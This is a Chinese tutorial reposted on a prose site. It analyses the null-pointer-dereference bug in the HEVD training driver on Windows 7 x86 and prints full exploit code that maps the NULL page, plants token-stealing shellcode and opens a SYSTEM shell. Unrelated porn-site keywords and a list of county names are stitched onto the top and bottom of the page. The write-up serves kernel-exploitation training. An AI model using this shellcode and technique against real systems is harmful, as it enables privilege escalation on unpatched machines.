最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

漏洞分析丨HEVD-0x5.NullPointerDereference[win7x86]

2022-07-15 17:07 作者:rkvir逆向工程學(xué)院  | 我要投稿

作者:selph

前言

窺探Ring0漏洞世界:空指針解引用漏洞,這是一個比較簡單好理解的漏洞

首先,什么是解引用?大概就是把指針指向的地址的數(shù)據(jù)取出來

那么,空指針解引用,則就是把NULL頁面地址的內(nèi)容取出來,一般這么操作會報錯0xC0000005內(nèi)存訪問違例,但是如果能控制NULL頁面,則會使得對空指針解引用有一定的操作空間

當(dāng)指針指向NULL時,就可能存在空指針解引用漏洞,這里我們將使用與上一節(jié)相同的技術(shù)來分配NULL頁面,完成對空指針解引用漏洞的利用

實(shí)驗(yàn)環(huán)境:

?虛擬機(jī):Windows 7 x86


?物理機(jī):Windows 10 x64


?軟件:IDA,Windbg,VS2022


漏洞分析

本次實(shí)驗(yàn)內(nèi)容是NullPointerDereference,IRP分發(fā)函數(shù)通過跳轉(zhuǎn)表進(jìn)行跳轉(zhuǎn),使用的控制碼是:0x22202b,該示例調(diào)用:NullPointerDereferenceIoctlHandler->TriggerNullPointerDereference,漏洞分析

函數(shù)一開始先申請了8字節(jié)非分頁內(nèi)存,標(biāo)簽是kcaH



然后接下來,從用戶傳入的指針里取值,判斷取出的值是否為一個固定的數(shù)字0BAD0B0B0h,如果是的話就把該值保存到edi地址里,然后往偏移4的位置保存一個函數(shù)指針,這個edi保存的是剛剛申請的內(nèi)存首地址;



如果取出來的值比對不成功,則釋放剛剛申請的內(nèi)存


然后之后就是,把保存在申請內(nèi)存偏移4的位置的函數(shù)指針取出來,判斷是不是剛剛存入的函數(shù),如果是就執(zhí)行該函數(shù),如果不是就call eax,eax的值就是偏移4位置存儲的函數(shù)指針



到這里這個函數(shù)差不多就結(jié)束了,整體流程是先申請了內(nèi)存,如果用戶參數(shù)合理就保存一個函數(shù)到內(nèi)存里,然后調(diào)用,如果不合理就釋放內(nèi)存,然后判斷申請的內(nèi)存指針里存的內(nèi)容,如果是指定內(nèi)容就調(diào)用指定函數(shù),如果不是也直接調(diào)用

這里存在的問題是,判斷失敗之后沒有直接返回,反而跟著判斷成功的邏輯繼續(xù)執(zhí)行,從而導(dǎo)致漏洞

只需要往0地址偏移4的位置寫上4字節(jié)shellcode地址,即可完成執(zhí)行


漏洞利用

利用思路就很簡單了:

使用上一篇HEVD池溢出相同的方法,進(jìn)行0地址映射,這里只需要輸入一個錯誤的4字節(jié),就會進(jìn)入漏洞觸發(fā)區(qū)域,就會去執(zhí)行0+4地址的函數(shù)地址,這里只需要去這個位置提前寫好shellcode地址即可完成利用,利用代碼如下:

#include
#include
#include

typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLEProcessHandle,
??? IN OUT PVOID* BaseAddress,
??? IN ULONG????? ZeroBits,
??? IN OUT PULONG AllocationSize,
??? IN ULONG????? AllocationType,
??? IN ULONG????? Protect);

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET???? 0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET??? 0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET???????? 0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET?????? 0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET?????? 0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID???????? 0x004?// SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
??? // Importance of Kernel Recovery
??? __asm {
???????pushad

??????? ;獲取當(dāng)前進(jìn)程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
???????mov ecx, eax

??????? ;搜索system進(jìn)程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID :
???????mov eax, [eax + FLINK_OFFSET]
?????? ?????sub eax, FLINK_OFFSET
???????????cmp[eax + PID_OFFSET], edx
???????????jne SearchSystemPID

???????????; token竊取
???????????mov edx, [eax + TOKEN_OFFSET]
???????????mov[ecx + TOKEN_OFFSET], edx

???????????;?環(huán)境還原?+?返回
???????????popad
???????? ???ret
??? }
}

BOOL MapNullPage() {
???HMODULE hNtdll;
???SIZE_T RegionSize = 0x1000;???????????// will be rounded up to the next host
?????????????????????????????????????????? // page size address boundary -> 0x2000
??? PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
?????????????????????????????????????????? // page size address boundary -> 0x00000000
???hNtdll = GetModuleHandle(L"ntdll.dll");

??? // Grab the address of NtAllocateVirtualMemory
???NtAllocateVirtualMemory_t????NtAllocateVirtualMemory;
???NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

??? // Allocate the Virtual memory
???NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
???????&BaseAddress,
????? ??0,
???????&RegionSize,
???????MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
???????PAGE_EXECUTE_READWRITE);

???FreeLibrary(hNtdll);
???return TRUE;
}

int main()
{
??? ULONG UserBufferSize = 0x4;
??? PVOID EopPayload = &TokenStealingPayloadWin7;
??? char* UserBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
???RtlFillMemory(UserBuffer, UserBufferSize, 'A');

???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

??? //?設(shè)置指針
???MapNullPage();
???*(PULONG)0x00000004 = (ULONG)EopPayload;

??? ULONG WriteRet = 0;
??? DeviceIoControl(hDevice, 0x22202b, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;

???system("pause");
???system("cmd.exe");

???return 0;
}


效果截圖


參考資料

?[1] Windows Kernel Exploitation Tutorial Part 5: NULL Pointer Dereference - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/01/kernel-null-pointer-dereference/


?[2]?解引用_百度百科?(baidu.com) https://baike.baidu.com/item/%E8%A7%A3%E5%BC%95%E7%94%A8/5534514


?[3]?指針()、取地址(&)、解引用()與引用(&)_Adenialzz的博客-CSDN博客_地址解引用https://blog.csdn.net/weixin_44966641/article/details/118939975


?[4]?簡析CWE-476:NULL Pointer Dereference空指針解引用漏洞?-?中科天齊軟件原生安全?-?博客園?(cnblogs.com) https://www.cnblogs.com/zktq/p/14921850.html

漏洞分析丨HEVD-0x5.NullPointerDereference[win7x86]的評論 (共 條)

分享到微博請遵守國家法律
琼结县| 甘孜| 元朗区| 苗栗县| 宁阳县| 青田县| 乌拉特前旗| 正阳县| 兴义市| 定西市| 河北区| 富锦市| 延庆县| 九龙县| 陇南市| 台湾省| 梁山县| 临清市| 孟津县| 宁津县| 建瓯市| 泽普县| 德令哈市| 聂拉木县| 杂多县| 弥渡县| 水富县| 青神县| 衡东县| 武平县| 皋兰县| 眉山市| 金川县| 乐安县| 丽江市| 修文县| 信丰县| 昭平县| 湘阴县| 黑龙江省| 孝昌县|